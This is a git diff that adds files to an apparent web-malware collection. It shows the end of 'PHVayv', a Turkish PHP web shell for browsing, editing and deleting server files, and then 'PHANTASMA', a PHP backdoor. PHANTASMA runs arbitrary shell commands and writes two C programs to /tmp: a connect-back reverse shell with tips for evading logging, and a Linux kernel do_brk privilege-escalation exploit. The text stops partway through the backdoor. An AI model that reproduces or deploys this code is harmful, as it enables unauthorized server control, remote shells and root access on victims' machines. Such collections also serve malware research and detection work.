class="gensmall"> + <input type="submit" size="16" + name="duzenx1" value="Kaydet" + style="BACKGROUND-COLOR: #95B4CC; BORDER-BOTTOM: #000000 1px inset; BORDER-LEFT: #000000 1px inset; BORDER-RIGHT: #000000 1px inset; BORDER-TOP: #000000 1px inset; COLOR: #000000; FONT-FAMILY: Verdana; FONT-SIZE: 8pt; TEXT-ALIGN: center" + </span></p> +</form> +</td> + </tr> + <tr> + <td width="100%" bgcolor="#000000"> + &nbsp;</td> + </tr> + </table> + + + + + + + + + + + +<? +} else { +?> + + + +<html> + +<head> +<meta http-equiv="Content-Language" content="tr"> +<meta name="GENERATOR" content="Microsoft FrontPage 5.0"> +<meta name="ProgId" content="FrontPage.Editor.Document"> +<meta http-equiv="Content-Type" content="text/html; charset=windows-1254"> +<title>PHVayv 1.0</title> +</head> + +<body topmargin="0" leftmargin="0"> + +<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber1" height="59"> + <tr> + <td width="70" bgcolor="#000000" height="76"> + <p align="center"> + <img border="0" src="http://www.aventgrup.net/avlog.gif"></td> + <td width="501" bgcolor="#000000" height="76" valign="top"> + <font face="Verdana" style="font-size: 8pt" color="#B7B7B7"> + <span style="font-weight: 700"> + <br> + AventGrup�<br> + </span>Avrasya Veri ve NetWork Teknolojileri Geli�tirme Grubu<br> + <span style="font-weight: 700"> + <br> + PHVayv 1.0</span></font></td> + <td width="431" bgcolor="#000000" height="76" valign="top"> + <p align="right"><span style="font-weight: 700"> + <font face="Verdana" color="#858585" style="font-size: 2pt"><br> + </font><font face="Verdana" style="font-size: 8pt" color="#9F9F9F"> + <a href="http://www.aventgrup.net" style="text-decoration: none"> + <font color="#858585">www.aventgrup.net</font></a></font><font face="Verdana" style="font-size: 8pt" color="#858585">&nbsp;<br> + </font></span><font face="Verdana" style="font-size: 8pt" color="#858585"> + <a href="mailto:shopen@aventgrup.net" style="text-decoration: none"> + <font color="#858585">SHOPEN</font></a></font><font face="Verdana" style="font-size: 8pt" color="#B7B7B7"><a href="mailto:shopen@aventgrup.net" style="text-decoration: none"><font color="#858585">@AventGrup.Net</font></a></font><font face="Verdana" style="font-size: 8pt" color="#858585">&nbsp;</font></td> + </tr> + </table> + + + + <table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" id="AutoNumber5" width="100%" height="20"> + <tr> + <td width="110" bgcolor="#9F9F9F" height="20"><font face="Verdana"> + <span style="font-size: 8pt">&nbsp;�al���lan Klas�r</span></font></td> + <td bgcolor="#D6D6D6" height="20"> + <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber4"> + <tr> + <td width="1"></td> + <td><font face="Verdana" style="font-size: 8pt">&nbsp;<?echo "$dizin"?></font></td> + <td width="65"> + <table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber6" height="13"> + <tr> + <td width="100%" bgcolor="#B7B7B7" bordercolor="#9F9F9F" height="13" + onmouseover='this.style.background="D9D9D9"' + onmouseout='this.style.background="9F9F9F"' + style="CURSOR: hand" + + + + + > + <p align="center"><font face="Verdana" style="font-size: 8pt"> + + + + + + + <a href="<?echo "$fistik.php?dizin=$dizin/../"?>" style="text-decoration: none"> + <font color="#000000">�st Klas�r</font></a></font></td> + + </tr> + </table> + </td> + </tr> + </table> + </td> + </tr> + </table> + + + +<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber3" height="21"> + <tr> + <td width="625" bgcolor="#000000"><span style="font-size: 2pt">&nbsp;</span></td> + </tr> + <tr> + <td bgcolor="#000000" height="20"> + <table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#000000" id="AutoNumber23" bgcolor="#A3A3A3" width="373" height="19"> + <tr> + <td align="center" bgcolor="#5F5F5F" height="19" bordercolor="#000000"> + <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber26"> + <tr> + <td align="center" bgcolor="#5F5F5F" + onmouseover="style.background='#6F6F6F'" + onmouseout="style.background='#5F5F5F'" + style="CURSOR: hand" + + height="19" bordercolor="#000000"> + <span style="font-weight: 700"> + <font face="Verdana" style="font-size: 8pt" color="#9F9F9F"> + <a color="#9F9F9F" target="_blank" href="<?echo "$fistik.php?sistembilgisi=1";?>" style="text-decoration: none"><font color="#9F9F9F">Sistem Bilgisi</font></a></font></font></span></td> + </tr> + </table> + </td> + <td align="center" bgcolor="#5F5F5F" height="19" bordercolor="#000000"> + <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber27"> + <tr> + <td align="center" bgcolor="#5F5F5F" height="19" + onmouseover="style.background='#6F6F6F'" + onmouseout="style.background='#5F5F5F'" + style="CURSOR: hand" + bordercolor="#000000"> + <font face="Verdana" style="font-size: 8pt; font-weight: 700" color="#9F9F9F"> + <a href="<?echo "$fistik.php?yenklas=1&dizin=$dizin";?>" style="text-decoration: none"> + <font color="#9F9F9F">Yeni Klas�r</font></a></font></td> + </tr> + </table> + </td> + <td align="center" bgcolor="#5F5F5F" height="19" bordercolor="#000000"> + <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber28"> + <tr> + <td align="center" bgcolor="#5F5F5F" height="19" + onmouseover="style.background='#6F6F6F'" + onmouseout="style.background='#5F5F5F'" + style="CURSOR: hand" + bordercolor="#000000"> + <font face="Verdana" style="font-size: 8pt; font-weight: 700" color="#9F9F9F"> + <a href="<?echo "$fistik.php?yendos=1&dizin=$dizin";?>" style="text-decoration: none"><font color="#9F9F9F">Yeni Dosya</font></a> </font></td> + </tr> + </table> + </td> + </tr> + </table> + </td> + </tr> + </table> + + + + + + + +<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber7" height="17"> + <tr> + <td width="30" height="17" bgcolor="#9F9F9F"> + <font face="Verdana" style="font-size: 8pt; font-weight: 700">&nbsp;T�r</font></td> + <td height="17" bgcolor="#9F9F9F"> + <font face="Verdana" style="font-size: 8pt; font-weight: 700">&nbsp;Dosya + Ad�</font></td> + <td width="122" height="17" bgcolor="#9F9F9F"> + <p align="center"> + <font face="Verdana" style="font-size: 8pt; font-weight: 700">&nbsp;��lem</font></td> + </tr> +</table> + +<? +if ($sedat=@opendir($dizin)){ +while (($ekinci=readdir ($sedat))){ +if (is_dir("$dizin/$ekinci")){ +?> + +<? if ($ekinci=="." or $ekinci=="..") { +} else { +?> +<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber8" height="17"> + <tr> + <td width="30" height="17" bgcolor="#808080"> + <p align="center"> + <img border="0" src="http://www.aventgrup.net/arsiv/klasvayv/1.0/2.gif"></td> + <td height="17" bgcolor="#C4C4C4"> + <font face="Verdana" style="font-size: 8pt">&nbsp;<?echo "$ekinci" ?></font></td> + <td width="61" height="17" bgcolor="#C4C4C4" align="center"> + <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber15" height="20"> + <tr> + <td width="100%" bgcolor="#A3A3A3" + onmouseover="this.style.background='#BBBBBB'" + onmouseout="this.style.background='#A3A3A3'" + style="CURSOR: hand" + height="20"> + + <p align="center"><font face="Verdana" style="font-size: 8pt"> + <a href="<?echo "$fistik.php?dizin=$dizin/" ?><?echo "$ekinci";?>" style="text-decoration: none"> + <font color="#000000">A�</font></a></font></td> + </tr> + </table> + </td> + <td width="60" height="17" bgcolor="#C4C4C4" align="center"> + <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber18" height="20"> + <tr> + <td width="100%" bgcolor="#A3A3A3" + onmouseover="this.style.background='#BBBBBB'" + onmouseout="this.style.background='#A3A3A3'" + + + style="CURSOR: hand" + height="20"> + + <p align="center"><font face="Verdana" style="font-size: 8pt"> + <a href="<?echo "$fistik.php?silklas=$dizin/$ekinci&dizin=$dizin"?>" style="text-decoration: none"> + <font color="#000000">Sil</font></a> + + </font></td> + </tr> + </table> + </td> + </tr> +</table> +<? +} +?> + +<? +}}} +closedir($sedat); +?> + +<? +if ($sedat=@opendir($dizin)){ +while (($ekinci=readdir ($sedat))){ +if (is_file("$dizin/$ekinci")){ + +?> + +<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber8" height="1"> + <tr> + <td width="30" height="1" bgcolor="#B0B0B0"> + <p align="center"> + <img border="0" src="http://www.aventgrup.net/arsiv/klasvayv/1.0/1.gif"></td> + <td height="1" bgcolor="#EAEAEA"> + <font face="Verdana" style="font-size: 8pt">&nbsp;<?echo "$ekinci" ?></font> + <font face="Arial Narrow" style="font-size: 8pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ( XXX )&nbsp;</font></td> + <td width="61" height="1" bgcolor="#D6D6D6" align="center"> + <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber12" height="20"> + <tr> + <td width="100%" bgcolor="#D6D6D6" + onmouseover="this.style.background='#ACACAC'" + onmouseout="this.style.background='#D6D6D6'" + style="CURSOR: hand" + height="20"> + + <p align="center"><font face="Verdana" style="font-size: 8pt"> + <a style="text-decoration: none" target="_self" href="<?echo "$fistik";?>.php?duzenle=<?echo "$ekinci";?>&dizin=<?echo $dizin;?>"> + <font color="#000000">D�zenle</font></a></font></td> + </tr> + </table> + </td> + <td width="60" height="1" bgcolor="#D6D6D6" align="center"> + <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber13" height="100%"> + <tr> + <td width="100%" bgcolor="#D6D6D6" no wrap + onmouseover="this.style.background='#ACACAC'" + onmouseout="this.style.background='#D6D6D6'" + style="CURSOR: hand" + height="20"> + + <p align="center"><font face="Verdana" style="font-size: 8pt"> + <a href="<?echo "$fistik";?>.php?sildos=<?echo $ekinci;?>&dizin=<?echo $dizin;?>" style="text-decoration: none"> + <font color="#000000">Sil</font></a></font></td> + </tr> + </table> + </td> + </tr> +</table> + +<? +}}} +closedir($sedat); +?> + + + + + +<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber29"> + <tr> + <td width="100%" bgcolor="#000000">&nbsp;</td> + </tr> +</table> + + <tr> + <td width="100%" bgcolor="#000000"> + </body></html><? } ?><? } ?><? } ?><? } ?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/PHANTASMA.txt b/web-malware-collection-master/Backdoors/PHP/PHANTASMA.txt new file mode 100755 index 0000000..59f92af --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/PHANTASMA.txt @@ -0,0 +1,634 @@ +<CENTER> +<DIV STYLE="font-family: verdana; font-size: 25px; font-weight: bold; color: #F3b700;">PHANTASMA- NeW CmD ;) </DIV> +<BR> +<DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #F3b700;">Informa��o do sistema</DIV> +<?php + +// + closelog( ); + + $dono = get_current_user( ); + $ver = phpversion( ); + $login = posix_getuid( ); + $euid = posix_geteuid( ); + $gid = posix_getgid( ); + if ($chdir == "") $chdir = getcwd( ); + +?> +<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="0"> +<?php + + $uname = posix_uname( ); + while (list($info, $value) = each ($uname)) { + +?> + <TR> + <TD><DIV STYLE="font-family: verdana; font-size: 15px;"><?= $info ?>: <?= $value ?></DIV></TD> + </TR> +<?php + } +?> + + <TR> + <TR> + <TD><DIV STYLE="font-family: verdana; font-size: 15px;">Script Current User: <?= $dono ?></DIV></TD> + </TR> + <TR> + <TD><DIV STYLE="font-family: verdana; font-size: 15px;">PHP Version: <?= $ver ?></DIV></TD> + </TR> + <TR> + <TD><DIV STYLE="font-family: verdana; font-size: 15px;">User Info: uid(<?= $login ?>) euid(<?= $euid ?>) gid(<?= $gid ?>)</DIV></TD> + </TR> + <TR> + <TD><DIV STYLE="font-family: verdana; font-size: 15px;">Current Path: <?= $chdir ?></DIV></TD> + </TR> + <TR> + <TD><DIV STYLE="font-family: verdana; font-size: 15px;">Server IP: <?php $aaa = gethostbyname($SERVER_NAME); echo $aaa;?></DIV></TD> + </TR> + <TR> + <TD><DIV STYLE="font-family: verdana; font-size: 15px;">Web Server: <?= "$SERVER_SOFTWARE $SERVER_VERSION"; ?></DIV></TD> + </TR> +</TABLE> +<BR> +<?php + + if ($cmd != "") { + echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[*] Command Mode Run</DIV>"; + +?> + +<DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #F3A700;">Command Stdout</DIV> +<?php + +if ($fe == 1){ +$fe = "exec"; +} +if ($fe == ""){ +$fe = "passthru"; +} +if ($fe == "2"){ +$fe = "system"; +} + + if (isset($chdir)) @chdir($chdir); + + ob_start( ); + $fe("$cmd 2>&1"); + $output = ob_get_contents(); + ob_end_clean( ); + +?> +<TEXTAREA COLS="75" ROWS="8" STYLE="font-family: verdana; font-size: 12px;"> +<?php + + if (!empty($output)) echo str_replace(">", "&gt;", str_replace("<", "&lt;", $output)); +?> +</TEXTAREA> +<BR> +<?php + + } + + if ($safemode != "") { + echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[*] Safemode Mode Run</DIV>"; + +?> +<DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #F3A700;">Safe Mode Directory Listing</DIV> +<?php + + if ($dir = @opendir($chdir)) { + echo "<TABLE border=1 cellspacing=1 cellpadding=0>"; + echo "<TR>"; + echo "<TD valign=top>"; + echo "<b><font size=2 face=arial>List All Files</b> <br><br>"; + while (($file = readdir($dir)) !== false) { + if (@is_file($file)) { + $file1 = fileowner($file); + $file2 = fileperms($file); + echo "<font color=green>$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&see=$file>$file</a><br>"; + // echo "<font color=green>$file1 - $file2 - $file </font><br>"; + flush( ); + } + } + + echo "</TD>"; + echo"<TD valign=top>"; + echo "<b><font size=2 face=arial>List Only Folders</b> <br><br>"; + if ($dir = @opendir($chdir)) { + while (($file = readdir($dir)) !== false) { + if (@is_dir($file)) { + $file1 = fileowner($file); + $file2 = fileperms($file); + echo "<font color=blue>$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&chdir=$chdir/$file>$file</a><br>"; + // echo "<font color=blue>$file1 - $file2 - $file </font><br>"; + } + } + } + echo "</TD>"; + echo"<TD valign=top>"; + echo "<b><font size=2 face=arial>List Writable Folders</b><br><br>"; + if ($dir = @opendir($chdir)) { + while (($file = readdir($dir)) !== false) { + if (@is_writable($file) && @is_dir($file)) { + $file1 = fileowner($file); + $file2 = fileperms($file); + echo "<font color=red>$file1 - $file2 - $file </font><br>"; + } + } + } + echo "</TD>"; + echo "</TD>"; + echo "<TD valign=top>"; + echo "<b><font size=2 face=arial>List Writable Files</b> <br><br>"; + + if ($dir = opendir($chdir)) { + while (($file = readdir($dir)) !== false) { + if (@is_writable($file) && @is_file($file)) { + $file1 = fileowner($file); + $file2 = fileperms($file); + echo "<font color=red>$file1 - $file2 - $file </font><br>"; + } + } + } + echo "</TD>"; + echo "</TR>"; + echo "</TABLE>"; + } + } + +?> +<?php + + if ($shell == "write") { + $shell = "#include <stdio.h>\n" . + "#include <sys/socket.h>\n" . + "#include <netinet/in.h>\n" . + "#include <arpa/inet.h>\n" . + "#include <netdb.h>\n" . + "int main(int argc, char **argv) {\n" . + " char *host;\n" . + " int port = 80;\n" . + " int f;\n" . + " int l;\n" . + " int sock;\n" . + " struct in_addr ia;\n" . + " struct sockaddr_in sin, from;\n" . + " struct hostent *he;\n" . + " char msg[ ] = \"Welcome to Data Cha0s Connect Back Shell\\n\\n\"\n" . + " \"Issue \\\"export TERM=xterm; exec bash -i\\\"\\n\"\n" . + " \"For More Reliable Shell.\\n\"\n" . + " \"Issue \\\"unset HISTFILE; unset SAVEHIST\\\"\\n\"\n" . + " \"For Not Getting Logged.\\n(;\\n\\n\";\n" . + " printf(\"Data Cha0s Connect Back Backdoor\\n\\n\");\n" . + " if (argc < 2 || argc > 3) {\n" . + " printf(\"Usage: %s [Host] <port>\\n\", argv[0]);\n" . + " return 1;\n" . + " }\n" . + " printf(\"[*] Dumping Arguments\\n\");\n" . + " l = strlen(argv[1]);\n" . + " if (l <= 0) {\n" . + " printf(\"[-] Invalid Host Name\\n\");\n" . + " return 1;\n" . + " }\n" . + " if (!(host = (char *) malloc(l))) {\n" . + " printf(\"[-] Unable to Allocate Memory\\n\");\n" . + " return 1;\n" . + " }\n" . + " strncpy(host, argv[1], l);\n" . + " if (argc == 3) {\n" . + " port = atoi(argv[2]);\n" . + " if (port <= 0 || port > 65535) {\n" . + " printf(\"[-] Invalid Port Number\\n\");\n" . + " return 1;\n" . + " }\n" . + " }\n" . + " printf(\"[*] Resolving Host Name\\n\");\n" . + " he = gethostbyname(host);\n" . + " if (he) {\n" . + " memcpy(&ia.s_addr, he->h_addr, 4);\n" . + " } else if ((ia.s_addr = inet_addr(host)) == INADDR_ANY) {\n" . + " printf(\"[-] Unable to Resolve: %s\\n\", host);\n" . + " return 1;\n" . + " }\n" . + " sin.sin_family = PF_INET;\n" . + " sin.sin_addr.s_addr = ia.s_addr;\n" . + " sin.sin_port = htons(port);\n" . + " printf(\"[*] Connecting...\\n\");\n" . + " if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {\n" . + " printf(\"[-] Socket Error\\n\");\n" . + " return 1;\n" . + " }\n" . + " if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) != 0) {\n" . + " printf(\"[-] Unable to Connect\\n\");\n" . + " return 1;\n" . + " }\n" . + " printf(\"[*] Spawning Shell\\n\");\n" . + " f = fork( );\n" . + " if (f < 0) {\n" . + " printf(\"[-] Unable to Fork\\n\");\n" . + " return 1;\n" . + " } else if (!f) {\n" . + " write(sock, msg, sizeof(msg));\n" . + " dup2(sock, 0);\n" . + " dup2(sock, 1);\n" . + " dup2(sock, 2);\n" . + " execl(\"/bin/sh\", \"shell\", NULL);\n" . + " close(sock);\n" . + " return 0;\n" . + " }\n" . + " printf(\"[*] Detached\\n\\n\");\n" . + " return 0;\n" . + "}\n"; + + $fp = fopen("/tmp/dc-connectback.c", "w"); + $ok = fwrite($fp, $shell); + + if (!empty($ok)) { + echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[*] Connect Back Shell Was Successfuly Copied</DIV>"; + } else { + echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[-] An Error Has Ocurred While Copying Shell</DIV>"; + } + } + + if ($kernel == "write") { + $kernel = "/*\n" . + " * hatorihanzo.c\n" . + " * Linux kernel do_brk vma overflow exploit.\n" . + " *\n" . + " * The bug was found by Paul (IhaQueR) Starzetz <paul@isec.pl>\n" . + " *\n" . + " * Further research and exploit development by\n" . + " * Wojciech Purczynski <cliph@isec.pl> and Paul Starzetz.\n" . + " *\n" . + " * (c) 2003 Copyright by IhaQueR and cliph. All Rights Reserved.\n" . + " *\n" . + " * COPYING, PRINTING, DISTRIBUTION, MODIFICATION, COMPILATION AND ANY USE\n" . + " * OF PRESENTED CODE IS STRICTLY PROHIBITED.\n" . + "*/\n" . + "#define _GNU_SOURCE\n" . + "#include <stdio.h>\n" . + "#include <stdlib.h>\n" . + "#include <errno.h>\n" . + "#include <string.h>\n" . + "#include <unistd.h>\n" . + "#include <fcntl.h>\n" . + "#include <signal.h>\n" . + "#include <paths.h>\n" . + "#include <grp.h>\n" . + "#include <setjmp.h>\n" . + "#include <stdint.h>\n" . + "#include <sys/mman.h>\n" . + "#include <sys/ipc.h>\n" . + "#include <sys/shm.h>\n" . + "#include <sys/ucontext.h>\n" . + "#include <sys/wait.h>\n" . + "#include <asm/ldt.h>\n" . + "#include <asm/page.h>\n" . + "#include <asm/segment.h>\n" . + "#include <linux/unistd.h>\n" . + "#include <linux/linkage.h>\n" . + "#define kB * 1024\n" . + "#define MB * 1024 kB\n" . + "#define GB * 1024 MB\n" . + "#define MAGIC 0xdefaced /* I should've patented this number -cliph */\n" . + "#define ENTRY_MAGIC 0\n" . + "#define ENTRY_GATE 2\n" . + "#define ENTRY_CS 4\n" . + "#define ENTRY_DS 6\n" . + "#define CS ((ENTRY_CS << 2) | 4)\n" . + "#define DS ((ENTRY_DS << 2) | 4)\n" . + "#define GATE ((ENTRY_GATE << 2) | 4 | 3)\n" . + "#define LDT_PAGES ((LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1) / PAGE_SIZE)\n" . + "#define TOP_ADDR 0xFFFFE000U\n" . + "/* configuration */\n" . + "unsigned task_size;\n" . + "unsigned page;\n" . + "uid_t uid;\n" . + "unsigned address;\n" . + "int dontexit = 0;\n" . + "void fatal(char * msg)\n" . + "{\n" . + " fprintf(stderr, \"[-] %s: %s\\n\", msg, strerror(errno));\n" . + " if (dontexit) {\n" . + " fprintf(stderr, \"[-] Unable to exit, entering neverending loop.\\n\");\n" . + " kill(getpid(), SIGSTOP);\n" . + " for (;;) pause();\n" . + " }\n" . + " exit(EXIT_FAILURE);\n" . + "}\n" . + "void configure(void)\n" . + "{\n" . + " unsigned val;\n" . + " task_size = ((unsigned)&val + 1 GB ) / (1 GB) * 1 GB;\n" . + " uid = getuid();\n" . + "}\n" . + "void expand(void)\n" . + "{\n" . + " unsigned top = (unsigned) sbrk(0);\n" . + " unsigned limit = address + PAGE_SIZE;\n" . + " do {\n" . + " if (sbrk(PAGE_SIZE) == NULL)\n" . + " fatal(\"Kernel seems not to be vulnerable\");\n" . + " dontexit = 1;\n" . + " top += PAGE_SIZE;\n" . + " } while (top < limit);\n" . + "}\n" . + "jmp_buf jmp;\n" . + "#define MAP_NOPAGE 1\n" . + "#define MAP_ISPAGE 2\n" . + "void sigsegv(int signo, siginfo_t * si, void * ptr)\n" . + "{\n" . + " struct ucontext * uc = (struct ucontext *) ptr;\n" . + " int error_code = uc->uc_mcontext.gregs[REG_ERR];\n" . + " (void)signo;\n" . + " (void)si;\n" . + " error_code = MAP_NOPAGE + (error_code & 1);\n" . + " longjmp(jmp, error_code);\n" . + "}\n" . + "void prepare(void)\n" . + "{\n" . + " struct sigaction sa;\n" . + " sa.sa_sigaction = sigsegv;\n" . + " sa.sa_flags = SA_SIGINFO | SA_NOMASK;\n" . + " sigemptyset(&sa.sa_mask);\n" . + " sigaction(SIGSEGV, &sa, NULL);\n" . + "}\n" . + "int testaddr(unsigned addr)\n" . + "{\n" . + " int val;\n" . + " val = setjmp(jmp);\n" . + " if (val == 0) {\n" . + " asm (\"verr (%%eax)\" : : \"a\" (addr));\n" . + " return MAP_ISPAGE;\n" . + " }\n" . + " return val;\n" . + "}\n" . + "#define map_pages (((TOP_ADDR - task_size) + PAGE_SIZE - 1) / PAGE_SIZE)\n" . + "#define map_size (map_pages + 8*sizeof(unsigned) - 1) / (8*sizeof(unsigned))\n" . + "#define next(u, b) do { if ((b = 2*b) == 0) { b = 1; u++; } } while(0)\n" . + "void map(unsigned * map)\n" . + "{\n" . + " unsigned addr = task_size;\n" . + " unsigned bit = 1;\n" . + " prepare();\n" . + " while (addr < TOP_ADDR) {\n" . + " if (testaddr(addr) == MAP_ISPAGE)\n" . + " *map |= bit;\n" . + " addr += PAGE_SIZE;\n" . + " next(map, bit);\n" . + " }\n" . + " signal(SIGSEGV, SIG_DFL);\n" . + "}\n" . + "void find(unsigned * m)\n" . + "{\n" . + " unsigned addr = task_size;\n" . + " unsigned bit = 1;\n" . + " unsigned count;\n" . + " unsigned tmp;\n" . + " prepare();\n" . + " tmp = address = count = 0U;\n" . + " while (addr < TOP_ADDR) {\n" . + " int val = testaddr(addr);\n" . + " if (val == MAP_ISPAGE && (*m & bit) == 0) {\n" . + " if (!tmp) tmp = addr;\n" . + " count++;\n" . + " } else {\n" . + " if (tmp && count == LDT_PAGES) {\n" . + " errno = EAGAIN;\n" . + " if (address)\n" . + " fatal(\"double allocation\\n\");\n" . + " address = tmp;\n" . + " }\n" . + " tmp = count = 0U;\n" . + " }\n" . + " addr += PAGE_SIZE;\n" . + " next(m, bit);\n" . + " }\n" . + " signal(SIGSEGV, SIG_DFL);\n" . + " if (address)\n" . + " return;\n" . + " errno = ENOTSUP;\n" . + " fatal(\"Unable to determine kernel address\");\n" . + "}\n" . + "int modify_ldt(int, void *, unsigned);\n" . + "void ldt(unsigned * m)\n" . + "{\n" . + " struct modify_ldt_ldt_s l;\n" . + " map(m);\n" . + " memset(&l, 0, sizeof(l));\n" . + " l.entry_number = LDT_ENTRIES - 1;\n" . + " l.seg_32bit = 1;\n" . + " l.base_addr = MAGIC >> 16;\n" . + " l.limit = MAGIC & 0xffff;\n" . + " if (modify_ldt(1, &l, sizeof(l)) == -1)\n" . + " fatal(\"Unable to set up LDT\");\n" . + " l.entry_number = ENTRY_MAGIC / 2;\n" . + " if (modify_ldt(1, &l, sizeof(l)) == -1)\n" . + " fatal(\"Unable to set up LDT\");\n" . + " find(m);\n" . + "}\n" . + "asmlinkage void kernel(unsigned * task)\n" . + "{\n" . + " unsigned * addr = task;\n" . + " /* looking for uids */\n" . + " while (addr[0] != uid || addr[1] != uid ||\n" . + " addr[2] != uid || addr[3] != uid)\n" . + " addr++;\n" . + " addr[0] = addr[1] = addr[2] = addr[3] = 0; /* uids */\n" . + " addr[4] = addr[5] = addr[6] = addr[7] = 0; /* uids */\n" . + " addr[8] = 0;\n" . + " /* looking for vma */\n" . + " for (addr = (unsigned *) task_size; addr; addr++) {\n" . + " if (addr[0] >= task_size && addr[1] < task_size &&\n" . + " addr[2] == address && addr[3] >= task_size) {\n" . + " addr[2] = task_size - PAGE_SIZE;\n" . + " addr = (unsigned *) addr[3];\n" . + " addr[1] = task_size - PAGE_SIZE;\n" . + " addr[2] = task_size;\n" . + " break;\n" . + " }\n" . + " }\n" . + "}\n" . + "void kcode(void);\n" . + "#define __str(s) #s\n" . + "#define str(s) __str(s)\n" . + "void __kcode(void)\n" . + "{\n" . + " asm(\n" . + " \"kcode: \\n\"\n" . + " \" pusha \\n\"\n" . + " \" pushl %es \\n\"\n" . + " \" pushl %ds \\n\"\n" . + " \" movl $(\" str(DS) \") ,%edx \\n\"\n" . + " \" movl %edx,%es \\n\"\n" . + " \" movl %edx,%ds \\n\"\n" . + " \" movl $0xffffe000,%eax \\n\"\n" . + " \" andl %esp,%eax \\n\"\n" . + " \" pushl %eax \\n\"\n" . + " \" call kernel \\n\"\n" . + " \" addl $4, %esp \\n\"\n" . + " \" popl %ds \\n\"\n" . + " \" popl %es \\n\"\n" . + " \" popa \\n\"\n" . + " \" lret \\n\"\n" . + " );\n" . + "}\n" . + "void knockout(void)\n" . + "{\n" . + " unsigned * addr = (unsigned *) address;\n" . + " if (mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE) == -1)\n" . + " fatal(\"Unable to change page protection\");\n" . + " errno = ESRCH;\n" . + " if (addr[ENTRY_MAGIC] != MAGIC)\n" . + " fatal(\"Invalid LDT entry\");\n" . + " /* setting call gate and privileged descriptors */\n" . + " addr[ENTRY_GATE+0] = ((unsigned)CS << 16) | ((unsigned)kcode & 0xffffU);\n" . + " addr[ENTRY_GATE+1] = ((unsigned)kcode & ~0xffffU) | 0xec00U;\n" . + " addr[ENTRY_CS+0] = 0x0000ffffU; /* kernel 4GB code at 0x00000000 */\n" . + " addr[ENTRY_CS+1] = 0x00cf9a00U;\n" . + " addr[ENTRY_DS+0] = 0x0000ffffU; /* user 4GB code at 0x00000000 */\n" . + " addr[ENTRY_DS+1] = 0x00cf9200U;\n" . + " prepare();\n" . + " if (setjmp(jmp) != 0) {\n" . + " errno = ENOEXEC;\n" . + " fatal(\"Unable to jump to call gate\");\n" . + " }\n" . + " asm(\"lcall $\" str(GATE) \",$0x0\"); /* this is it */\n" . + "}\n" . + "void shell(void)\n" . + "{\n" . + " char * argv[] = { _PATH_BSHELL, NULL };\n" . + " execve(_PATH_BSHELL, argv, environ);\n" . + " fatal(\"Unable to spawn shell\\n\");\n" . + "}\n" . + "void remap(void)\n" . + "{\n" . + " static char stack[8 MB]; /* new stack */\n" . + " static char * envp[] = { \"PATH=\" _PATH_STDPATH, NULL };\n" . + " static unsigned * m;\n" . + " static unsigned b;\n" . + " m = (unsigned *) sbrk(map_size);\n" . + " if (!m)\n" . + " fatal(\"Unable to allocate memory\");\n" . + " environ = envp;\n" . + " asm (\"movl %0, %%esp\\n\" : : \"a\" (stack + sizeof(stack)));\n" . + " b = ((unsigned)sbrk(0) + PAGE_SIZE - 1) & PAGE_MASK;\n" . + " if (munmap((void*)b, task_size - b) == -1)\n" . + " fatal(\"Unable to unmap stack\");\n" . + " while (b < task_size) {\n" . + " if (sbrk(PAGE_SIZE) == NULL)\n" . + " fatal(\"Unable to expand BSS\");\n" . + " b += PAGE_SIZE;\n" . + " }\n" . + " ldt(m);\n" . + " expand();\n" . + " knockout();\n" . + " shell();\n" . + "}\n" . + "int main(void)\n" . + "{\n" . + " configure();\n" . + " remap();\n" . + " return EXIT_FAILURE;\n" . + "}\n"; + + $fp = fopen("/tmp/xpl_brk.c", "w"); + $ok = fwrite($fp, $kernel); + + if (!empty($ok)) { + echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[*] Linux Local Kernel Exploit Was Successfuly Copied</DIV>"; + } else { + echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[-] An Error 